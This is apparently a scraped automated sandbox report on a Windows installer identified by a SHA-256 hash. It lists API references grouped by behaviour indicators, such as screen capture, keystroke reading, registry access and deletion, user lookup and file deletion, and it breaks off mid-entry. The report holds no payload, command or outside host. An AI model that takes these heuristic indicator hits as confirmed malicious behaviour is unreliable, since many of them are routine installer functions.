"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00008776)66:T10aa,Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetDC" (Indicator: "GetDC"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; Source: "00000000-00001444.00000001.110931.725C1000.00000020.mdmp")67:T5be,Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "6179567869,7264,3118,,FindNextFileA,kernel32.dll,"00:28:21.093",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")68:T9cc,file/memory contains long string with (Indicator: "GetModuleHandle"; File: "is-SM0SU.tmp") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "is-IEB6T.tmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleExA" (Indicator: "GetModuleHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")69:Tea9,Found reference to API "function RegGetValueNames(const RootKey: Integer; const SubKeyName: String; var Names: TArrayOfString): Boolean;" (Indicator: "RegGetValue"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RegSaveKeyW" (Indicator: "RegSaveKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegEnumKeyW" (Indicator: "RegEnumKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegOpenKeyEx" (Indicator: "RegOpenKey"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function RegGetValueNames(const RootKey: Integer; const SubKeyName: String; var Names: TArrayOfString): Boolean;" (Indicator: "RegGetValue"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RegOpenKeyA" (Indicator: "RegOpenKey"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")6a:T5d2,file/memory contains long string with (Indicator: "GetModuleHandle"; File: "is-SM0SU.tmp") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "is-IEB6T.tmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleExA" (Indicator: "GetModuleHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")6b:T119f,Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")6c:T8d2,Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetKeyNameTextA" (Indicator: "GetKeyNameText"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetKeyNameTextA" (Indicator: "GetKeyNameText"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "MapVirtualKeyExW" (Indicator: "MapVirtualKey"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")6d:T735,Found reference to API "function GetUserNameString: String;" (Indicator: "GetUserName"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "WTSQuerySessionInformationA" (Indicator: "WTSQuerySessionInformation"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "function GetUserNameString: String;" (Indicator: "GetUserName"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "3186,,GetUserNameA,advapi32." (Indicator: "GetUserName"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp, 00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp")6e:T408,Found string "The password you entered is not correct. Please try again." (Indicator: "password"; Source: "00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp") Found string "This installation is password protected." (Indicator: "password"; Source: "00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp") Found string "Please provide the password, then click Next to continue. Passwords are case-sensitive." (Indicator: "password"; Source: "00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp")6f:T5db,"Software\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 15608-791-0047211C "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 15608-3046-004685C4 "Software\Microsoft\Windows\CurrentVersion\Uninstall\" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 15608-3127-0046E1D0 "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00001444.00000000.109009.00401000.00000020.mdmp "JSoftware\Microsoft\Windows\CurrentVersion\Uninstall\AVI formatter tool_is" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001444.00000000.109009.04870000.00000004.mdmp 00000000-00001444.00000001.110931.04870000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\AVI formatter tool_iX" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001444.00000000.109009.04870000.00000004.mdmp 00000000-00001444.00000001.110931.04870000.00000004.mdmp70:T639,Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: tuc4.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: 288c47bbc1871b439df19ff4df68f076.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: aviformattertool.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: is-ND51B.tmp] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: is-8EM8Q.tmp] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: tuc4.tmp] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: is-PU7KQ.tmp] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: is-5BQCL.tmp] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: is-L2OG8.tmp] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: is-FEENV.tmp] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: is-S9I84.tmp] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: _RegDLL.tmp]71:T8e2,Found reference to API "DeleteFile" (Indicator: "DeleteFile"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "procedure DelayDeleteFile(const Filename: String; const Tries: Integer);" (Indicator: "DeleteFile"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function DelTree(const Path: String; const IsDir, DeleteFiles, DeleteSubdirsAlso: Boolean): Boolean;" (Indicator: "DeleteFile"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function DeleteFile(const FileName: string): Boolean;" (Indicator: "DeleteFile"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "DeleteFile" (Indicator: "DeleteFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "procedure DelayDeleteFile(const Filename: String; const Tries: Integer);" (Indicator: "DeleteFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function DelTree(const Path: String; const IsDir, DeleteFiles, DeleteSubdirsAlso: Boolean): Boolean;" (Indicator: "DeleteFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function DeleteFile(const FileName: string): Boolean;" (Indicator: "DeleteFile"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp")72:Ta65,Found reference to API "RegDeleteKeyExA" (Indicator: "RegDeleteKey"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RegDeleteKeyW" (Indicator: "RegDeleteKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegDeleteValueW" (Indicator: "RegDeleteValue"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegDeleteKeyA" (Indicator: "RegDeleteKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegDeleteKeyExA" (Indicator: 